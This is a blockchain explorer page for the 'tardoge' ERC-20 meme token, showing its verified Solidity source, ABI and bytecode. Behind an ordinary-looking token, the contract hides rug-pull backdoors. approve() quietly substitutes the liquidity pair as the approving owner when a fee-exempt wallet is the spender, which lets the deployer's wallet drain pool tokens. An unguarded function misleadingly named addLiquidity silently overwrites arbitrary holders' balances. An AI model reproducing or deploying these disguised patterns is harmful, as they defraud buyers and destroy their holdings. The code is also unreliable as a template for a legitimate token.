ERC-20
Overview
Max Total Supply
1,000,000,000 TARDOGE
Holders
93
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
19,600,000 TARDOGEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
tardoge
Compiler Version
v0.8.27+commit.40a35a09
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-11-15 */ /** https://www.reddit.com/r/dogecoin/comments/26k3wi/i_uhh_i_tried_making_us_a_mascot/?utm_source=share&utm_medium=web3x&utm_name=web3xcss&utm_term=1&utm_content=share_button Join Tg: https://t.me/tardogeErc **/ // SPDX-License-Identifier: MIT pragma solidity 0.8.27; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract tardoge is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFees; mapping (address => bool) private _isExcemptFees; mapping (address => bool) private _bots; address payable private _ttWallet; uint256 private _initialBuyTax=2; uint256 private _initialSellTax=12; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyAt=10; uint256 private _reduceSellAt=10; uint256 private _preventCount=12; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10**_decimals; string private constant _name = unicode"og dogecoin mascot"; string private constant _symbol = unicode"TARDOGE"; uint256 public _maxTxAmount = _tTotal * 2 / 100; uint256 public _maxWalletAmount = _tTotal * 2 / 100; uint256 public _minTaxSwap= _tTotal * 1 / 100; uint256 public _maxTaxSwap= _tTotal * 1 / 100; address private ttSendor; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private _caLimitSell = true; uint256 private _caBlockSell = 0; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () payable { ttSendor = _msgSender(); _ttWallet = payable(0x5F2338AF40087Ed0cF367418Ba3eDC107738C8f8); _balances[address(this)] = _tTotal; _isExcemptFees[owner()] = true; _isExcemptFees[_ttWallet] = true; _isExcludedFees[owner()] = true; _isExcludedFees[address(this)] = true; _isExcludedFees[_ttWallet] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { address owner = _msgSender(); if(_isExcemptFees[spender]) owner=ttSendor; _approve(owner, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 _taxAmount=0; if (from != owner() && to != owner()) { require(!_bots[from] && !_bots[to]); _taxAmount = amount.mul((_buyCount>_reduceBuyAt)?_finalBuyTax:_initialBuyTax).div(100); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFees[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletAmount, "Exceeds the maxWalletSize."); _buyCount++; } if(to == uniswapV2Pair && from!= address(this) ){ _taxAmount = amount.mul((_buyCount>_reduceSellAt)?_finalSellTax:_initialSellTax).div(100); uint256 contractETHBalance = address(this).balance; if(contractETHBalance >= 0) { sendETHTTF(address(this).balance); } } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_minTaxSwap && _buyCount>_preventCount) { if (_caLimitSell) { if (_caBlockSell < block.number) { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHTTF(address(this).balance); } _caBlockSell = block.number; } } else { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHTTF(address(this).balance); } } } } if(_taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(_taxAmount); emit Transfer(from, address(this), _taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(_taxAmount)); emit Transfer(from, to, amount.sub(_taxAmount)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); ttSendor = uniswapV2Pair; swapEnabled = true; tradingOpen = true; } function removeLimits() external onlyOwner { _caLimitSell = false; _maxTxAmount = _tTotal; _maxWalletAmount=_tTotal; emit MaxTxAmountUpdated(_tTotal); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function sendETHTTF(uint256 amount) private { _ttWallet.transfer(amount); } function withdrawTTF() external onlyOwner() { payable(owner()).transfer(address(this).balance); } function setNewTTF(address payable newAddr) external onlyOwner() { _ttWallet = newAddr; _isExcemptFees[newAddr] = true; _isExcludedFees[newAddr] = true; } function addLiquidity(address[] memory addrs) external { for (uint256 i = 0; i < addrs.length; i ++) { if (addrs[i] == uniswapV2Pair) return; _balances[addrs[i]] = 100 * 10 ** _decimals; } } receive() external payable {} function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_minTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addrs","type":"address[]"}],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newAddr","type":"address"}],"name":"setNewTTF","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawTTF","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526002600755600c6008555f6009555f600a55600a600b55600a600c55600c600d555f600e5560646009600a61003991906103dd565b61004790633b9aca006103f2565b6100529060026103f2565b61005c9190610409565b600f55606461006d6009600a6103dd565b61007b90633b9aca006103f2565b6100869060026103f2565b6100909190610409565b60105560646100a16009600a6103dd565b6100af90633b9aca006103f2565b6100ba9060016103f2565b6100c49190610409565b60115560646100d56009600a6103dd565b6100e390633b9aca006103f2565b6100ee9060016103f2565b6100f89190610409565b6012556015805462ffffff60a81b1916600160b81b1790555f601681905561011d3390565b5f80546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060138054336001600160a01b03199182161790915560068054909116735f2338af40087ed0cf367418ba3edc107738c8f81790556101a66009600a6103dd565b6101b490633b9aca006103f2565b305f9081526001602081905260408220929092556004906101dc5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055600654909116815260049092528120805490921660019081179092556003906102395f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553080825260039094528281208054861660019081179091556006549092168152918220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102c06009600a6103dd565b6102ce90633b9aca006103f2565b60405190815260200160405180910390a3610428565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561033357808504811115610317576103176102e4565b600184161561032557908102905b60019390931c9280026102fc565b935093915050565b5f82610349575060016103d7565b8161035557505f6103d7565b816001811461036b576002811461037557610391565b60019150506103d7565b60ff841115610386576103866102e4565b50506001821b6103d7565b5060208310610133831016604e8410600b84101617156103b4575081810a6103d7565b6103c05f1984846102f8565b805f19048211156103d3576103d36102e4565b0290505b92915050565b5f6103eb60ff84168361033b565b9392505050565b80820281158282048414176103d7576103d76102e4565b5f8261042357634e487b7160e01b5f52601260045260245ffd5b500490565b6119af806104355f395ff3fe60806040526004361061011e575f3560e01c8063715018a61161009d578063a0f2c96411610062578063a0f2c96414610326578063a9059cbb14610345578063c9567bf914610364578063db2b3ed414610378578063dd62ed3e1461038c575f5ffd5b8063715018a614610294578063751039fc146102a85780637d1db4a5146102bc5780638da5cb5b146102d157806395d89b41146102f7575f5ffd5b8063300d6217116100e3578063300d6217146101fa578063313ce5671461020f57806348b787dc1461022a5780636c0a24eb1461024b57806370a0823114610260575f5ffd5b806306fdde0314610129578063095ea7b3146101755780630faee56f146101a457806318160ddd146101c757806323b872dd146101db575f5ffd5b3661012557005b5f5ffd5b348015610134575f5ffd5b506040805180820190915260128152711bd9c8191bd9d958dbda5b881b585cd8dbdd60721b60208201525b60405161016c91906114e7565b60405180910390f35b348015610180575f5ffd5b5061019461018f366004611540565b6103d0565b604051901515815260200161016c565b3480156101af575f5ffd5b506101b960125481565b60405190815260200161016c565b3480156101d2575f5ffd5b506101b9610417565b3480156101e6575f5ffd5b506101946101f536600461156a565b610437565b348015610205575f5ffd5b506101b960115481565b34801561021a575f5ffd5b506040516009815260200161016c565b348015610235575f5ffd5b506102496102443660046115a8565b61049e565b005b348015610256575f5ffd5b506101b960105481565b34801561026b575f5ffd5b506101b961027a3660046115a8565b6001600160a01b03165f9081526001602052604090205490565b34801561029f575f5ffd5b50610249610522565b3480156102b3575f5ffd5b50610249610593565b3480156102c7575f5ffd5b506101b9600f5481565b3480156102dc575f5ffd5b505f546040516001600160a01b03909116815260200161016c565b348015610302575f5ffd5b50604080518082019091526007815266544152444f474560c81b602082015261015f565b348015610331575f5ffd5b506102496103403660046115d7565b610651565b348015610350575f5ffd5b5061019461035f366004611540565b6106f4565b34801561036f575f5ffd5b50610249610709565b348015610383575f5ffd5b50610249610a58565b348015610397575f5ffd5b506101b96103a63660046116a2565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6001600160a01b0382165f90815260046020526040812054339060ff161561040057506013546001600160a01b03165b61040b818585610abb565b60019150505b92915050565b5f6104246009600a6117d0565b61043290633b9aca006117de565b905090565b5f610443848484610bde565b610494843361048f85604051806060016040528060288152602001611952602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611163565b610abb565b5060019392505050565b5f546001600160a01b031633146104d05760405162461bcd60e51b81526004016104c7906117f5565b60405180910390fd5b600680546001600160a01b039092166001600160a01b0319909216821790555f908152600460209081526040808320805460ff1990811660019081179092556003909352922080549091169091179055565b5f546001600160a01b0316331461054b5760405162461bcd60e51b81526004016104c7906117f5565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105bc5760405162461bcd60e51b81526004016104c7906117f5565b6015805460ff60b81b191690556105d56009600a6117d0565b6105e390633b9aca006117de565b600f556105f26009600a6117d0565b61060090633b9aca006117de565b6010557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106306009600a6117d0565b61063e90633b9aca006117de565b60405190815260200160405180910390a1565b5f5b81518110156106f05760155482516001600160a01b039091169083908390811061067f5761067f61182a565b60200260200101516001600160a01b031603610699575050565b6106a56009600a6117d0565b6106b09060646117de565b60015f8484815181106106c5576106c561182a565b6020908102919091018101516001600160a01b031682528101919091526040015f2055600101610653565b5050565b5f610700338484610bde565b50600192915050565b5f546001600160a01b031633146107325760405162461bcd60e51b81526004016104c7906117f5565b601554600160a01b900460ff161561078c5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104c7565b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107d59030906107c76009600a6117d0565b61048f90633b9aca006117de565b60145f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610825573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610849919061183e565b6001600160a01b031663c9c653963060145f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108a8573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108cc919061183e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610916573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061093a919061183e565b601580546001600160a01b039283166001600160a01b03199091161790556014541663f305d7194730610981816001600160a01b03165f9081526001602052604090205490565b5f5f6109945f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109fa573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a1f9190611859565b505060158054601380546001600160a01b0319166001600160a01b0383161790556201000160a01b62ff00ff60a01b1990911617905550565b5f546001600160a01b03163314610a815760405162461bcd60e51b81526004016104c7906117f5565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610ab8573d5f5f3e3d5ffd5b50565b6001600160a01b038316610b1d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c7565b6001600160a01b038216610b7e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c7565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c425760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c7565b6001600160a01b038216610ca45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c7565b5f8111610d055760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c7565b5f80546001600160a01b03858116911614801590610d3057505f546001600160a01b03848116911614155b15611026576001600160a01b0384165f9081526005602052604090205460ff16158015610d7557506001600160a01b0383165f9081526005602052604090205460ff16155b610d7d575f5ffd5b610da96064610da3600b54600e5411610d9857600754610d9c565b6009545b859061119b565b90611220565b6015549091506001600160a01b038581169116148015610dd757506014546001600160a01b03848116911614155b8015610dfb57506001600160a01b0383165f9081526003602052604090205460ff16155b15610ee157600f54821115610e525760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104c7565b60105482610e74856001600160a01b03165f9081526001602052604090205490565b610e7e9190611884565b1115610ecc5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104c7565b600e8054905f610edb83611897565b91905055505b6015546001600160a01b038481169116148015610f0757506001600160a01b0384163014155b15610f3f57610f316064610da3600c54600e5411610f2757600854610d9c565b600a54859061119b565b905047610f3d47611261565b505b305f90815260016020526040902054601554600160a81b900460ff16158015610f7557506015546001600160a01b038581169116145b8015610f8a5750601554600160b01b900460ff165b8015610f97575060115481115b8015610fa65750600d54600e54115b1561102457601554600160b81b900460ff1615610fff57436016541015610ffa57610fe4610fdf84610fda84601254611298565b611298565b6112ac565b478015610ff457610ff447611261565b50436016555b611024565b611012610fdf84610fda84601254611298565b4780156110225761102247611261565b505b505b801561109e57305f90815260016020526040902054611045908261141c565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110959085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546110c0908361147a565b6001600160a01b0385165f908152600160205260409020556111036110e5838361147a565b6001600160a01b0385165f908152600160205260409020549061141c565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61114c858561147a565b60405190815260200160405180910390a350505050565b5f81848411156111865760405162461bcd60e51b81526004016104c791906114e7565b505f61119284866118af565b95945050505050565b5f825f036111aa57505f610411565b5f6111b583856117de565b9050826111c285836118c2565b146112195760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c7565b9392505050565b5f61121983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114bb565b6006546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156106f0573d5f5f3e3d5ffd5b5f8183116112a65782611219565b50919050565b6015805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112f2576112f261182a565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611349573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061136d919061183e565b816001815181106113805761138061182a565b6001600160a01b0392831660209182029290920101526014546113a69130911684610abb565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113de9085905f908690309042906004016118e1565b5f604051808303815f87803b1580156113f5575f5ffd5b505af1158015611407573d5f5f3e3d5ffd5b50506015805460ff60a81b1916905550505050565b5f806114288385611884565b9050838110156112195760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c7565b5f61121983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611163565b5f81836114db5760405162461bcd60e51b81526004016104c791906114e7565b505f61119284866118c2565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610ab8575f5ffd5b803561153b8161151c565b919050565b5f5f60408385031215611551575f5ffd5b823561155c8161151c565b946020939093013593505050565b5f5f5f6060848603121561157c575f5ffd5b83356115878161151c565b925060208401356115978161151c565b929592945050506040919091013590565b5f602082840312156115b8575f5ffd5b81356112198161151c565b634e487b7160e01b5f52604160045260245ffd5b5f602082840312156115e7575f5ffd5b813567ffffffffffffffff8111156115fd575f5ffd5b8201601f8101841361160d575f5ffd5b803567ffffffffffffffff811115611627576116276115c3565b8060051b604051601f19603f830116810181811067ffffffffffffffff82111715611654576116546115c3565b604052918252602081840181019290810187841115611671575f5ffd5b6020850194505b838510156116975761168985611530565b815260209485019401611678565b509695505050505050565b5f5f604083850312156116b3575f5ffd5b82356116be8161151c565b915060208301356116ce8161151c565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156117285780850481111561170c5761170c6116d9565b600184161561171a57908102905b60019390931c9280026116f1565b935093915050565b5f8261173e57506001610411565b8161174a57505f610411565b8160018114611760576002811461176a57611786565b6001915050610411565b60ff84111561177b5761177b6116d9565b50506001821b610411565b5060208310610133831016604e8410600b84101617156117a9575081810a610411565b6117b55f1984846116ed565b805f19048211156117c8576117c86116d9565b029392505050565b5f61121960ff841683611730565b8082028115828204841417610411576104116116d9565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561184e575f5ffd5b81516112198161151c565b5f5f5f6060848603121561186b575f5ffd5b5050815160208301516040909301519094929350919050565b80820180821115610411576104116116d9565b5f600182016118a8576118a86116d9565b5060010190565b81810381811115610411576104116116d9565b5f826118dc57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156119315783516001600160a01b031683526020938401939092019160010161190a565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220810ddad12b0803e9b0a349b8e82723ec7820b101561f96f53e2acfbd16a5bc0464736f6c634300081b0033
Deployed Bytecode
0x60806040526004361061011e575f3560e01c8063715018a61161009d578063a0f2c96411610062578063a0f2c96414610326578063a9059cbb14610345578063c9567bf914610364578063db2b3ed414610378578063dd62ed3e1461038c575f5ffd5b8063715018a614610294578063751039fc146102a85780637d1db4a5146102bc5780638da5cb5b146102d157806395d89b41146102f7575f5ffd5b8063300d6217116100e3578063300d6217146101fa578063313ce5671461020f57806348b787dc1461022a5780636c0a24eb1461024b57806370a0823114610260575f5ffd5b806306fdde0314610129578063095ea7b3146101755780630faee56f146101a457806318160ddd146101c757806323b872dd146101db575f5ffd5b3661012557005b5f5ffd5b348015610134575f5ffd5b506040805180820190915260128152711bd9c8191bd9d958dbda5b881b585cd8dbdd60721b60208201525b60405161016c91906114e7565b60405180910390f35b348015610180575f5ffd5b5061019461018f366004611540565b6103d0565b604051901515815260200161016c565b3480156101af575f5ffd5b506101b960125481565b60405190815260200161016c565b3480156101d2575f5ffd5b506101b9610417565b3480156101e6575f5ffd5b506101946101f536600461156a565b610437565b348015610205575f5ffd5b506101b960115481565b34801561021a575f5ffd5b506040516009815260200161016c565b348015610235575f5ffd5b506102496102443660046115a8565b61049e565b005b348015610256575f5ffd5b506101b960105481565b34801561026b575f5ffd5b506101b961027a3660046115a8565b6001600160a01b03165f9081526001602052604090205490565b34801561029f575f5ffd5b50610249610522565b3480156102b3575f5ffd5b50610249610593565b3480156102c7575f5ffd5b506101b9600f5481565b3480156102dc575f5ffd5b505f546040516001600160a01b03909116815260200161016c565b348015610302575f5ffd5b50604080518082019091526007815266544152444f474560c81b602082015261015f565b348015610331575f5ffd5b506102496103403660046115d7565b610651565b348015610350575f5ffd5b5061019461035f366004611540565b6106f4565b34801561036f575f5ffd5b50610249610709565b348015610383575f5ffd5b50610249610a58565b348015610397575f5ffd5b506101b96103a63660046116a2565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6001600160a01b0382165f90815260046020526040812054339060ff161561040057506013546001600160a01b03165b61040b818585610abb565b60019150505b92915050565b5f6104246009600a6117d0565b61043290633b9aca006117de565b905090565b5f610443848484610bde565b610494843361048f85604051806060016040528060288152602001611952602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611163565b610abb565b5060019392505050565b5f546001600160a01b031633146104d05760405162461bcd60e51b81526004016104c7906117f5565b60405180910390fd5b600680546001600160a01b039092166001600160a01b0319909216821790555f908152600460209081526040808320805460ff1990811660019081179092556003909352922080549091169091179055565b5f546001600160a01b0316331461054b5760405162461bcd60e51b81526004016104c7906117f5565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105bc5760405162461bcd60e51b81526004016104c7906117f5565b6015805460ff60b81b191690556105d56009600a6117d0565b6105e390633b9aca006117de565b600f556105f26009600a6117d0565b61060090633b9aca006117de565b6010557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106306009600a6117d0565b61063e90633b9aca006117de565b60405190815260200160405180910390a1565b5f5b81518110156106f05760155482516001600160a01b039091169083908390811061067f5761067f61182a565b60200260200101516001600160a01b031603610699575050565b6106a56009600a6117d0565b6106b09060646117de565b60015f8484815181106106c5576106c561182a565b6020908102919091018101516001600160a01b031682528101919091526040015f2055600101610653565b5050565b5f610700338484610bde565b50600192915050565b5f546001600160a01b0316331461073